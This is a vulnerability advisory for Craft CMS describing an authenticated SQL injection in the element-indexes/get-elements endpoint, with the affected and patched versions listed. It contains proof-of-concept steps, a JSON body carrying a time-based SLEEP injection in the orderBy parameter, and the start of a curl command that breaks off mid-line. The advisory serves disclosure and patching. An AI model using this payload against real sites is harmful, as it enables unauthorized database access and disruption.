Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload). This issue is patched in versions 4.16.18 and 5.8.22.

Affected: Packagist: craftcms/cms

## Summary

The `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).

> [!NOTE] > The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.

--- ## PoC ### Required Permissions

- Access to the Control Panel

### Steps to reproduce 1. Log in to the control panel 2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.) 3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements` 4. Modify the JSON body to the following: ```json {"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}} ``` 5. Send the request 6. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed): ```bash curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TO…